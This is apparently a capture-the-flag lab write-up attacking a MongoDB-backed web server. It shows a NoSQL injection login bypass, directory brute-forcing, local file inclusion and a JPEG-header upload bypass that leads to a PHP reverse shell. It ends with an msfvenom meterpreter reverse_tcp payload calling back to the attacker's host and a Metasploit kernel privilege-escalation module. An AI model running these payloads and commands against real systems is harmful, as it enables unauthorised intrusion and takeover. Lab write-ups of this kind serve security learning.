Post

IML - MongoDB NoSQL Injection

MongoDB NoSQL Injection - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



IML - MongoDB NoSQL Injection

  • Scan:

image1

  • Going to Port 80:

image2

  • We get a Login page and since this box is a MongoDB box, we can assume this is NoSqli

  • Looking on:

https://book.hacktricks.xyz/pentesting-web/nosql-injection

image3

username[$ne]=toto&password[$ne]=toto

  • We need to see how the server crafts its authentication
  • Open Burp Suite and capture the traffic from a login

image4

  • Send this to the Repeater and change the authentication line

image5

  • Send it off and look at the Response (If this doesn’t work - reset machine)

image6

admin : Superhardpassword

  • Login with the credentials

image7

  • After trying to upload non jpeg files with a .jpeg extension and getting FAILED everytime, it’s time to consider something else. The jpeg header

  • Since this Kali machine is closed off from the internet, we can search the machine itself for a jpeg image file:

1
2
find / -type f -name "\*.jpeg" 2>/dev/null

image8

image9

  • Upload the thumbnail.jpeg and we get success:

image10

  • Through testing - all it needs to be successful is to have .jpeg at the end and for the data to start with:

image11

As show here:

image12

  • We can bruteforce for directories to see if we can execute the file (if we uploaded something malicious):
1
2
gobuster dir -u http://10.102.114.88 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt

image13

  • In /img:

image14

  • As this didn’t lead to anything. I did another scan but with extensions this time:
1
2
gobuster dir -u http://10.102.114.88 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x .php

image15

  • If we look at /test/php:

image16

  • This is a LFI vulnerability:

image17

We can access some of the mongodb file like mongod.conf and mongod.log

image18

As well as check what apps are running - /proc/self/cmdline

image19

  • We can also see if we can get any ssh private keys
  • But that didn’t give much

  • We can get to the /img directory (where the uploaded images were stored):

image20

image21

Don’t upload the php directly, and then try and add the JFIF line afterwards - it doesn’t recognize it and will fail

  • Send that request and you should get Successful

  • Set up a nc listener on the port you specified in the script

  • And in a new Burp request (captured from the LFI): Go to /var/www/html/img/<image_name>.php.jpg

image22

  • And we got a shell:

image23

  • Upgrade the shell: /usr/bin/script -qc /bin/bash /dev/null

Priv Esc

  • Querying MongoDB didn’t give anything:

image24

  • After lots of enumerating - found nothing so to get root I did:

  • Created a meterpreter payload:

1
2
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.102.143.238 LPORT=8881 -f elf -o reverse.elf

image25

  • Uploaded the payload to the target with python server and curl

  • Once I got the meterpreter session back, I used the module - multi/recon/local_exploit_suggester to give me potential priv esc modules:

image26

  • I then used the module - exploit/linux/local/bpf_sign_extension_priv_esc to get root and get the flag:

image27

This post is licensed under CC BY 4.0 by the author.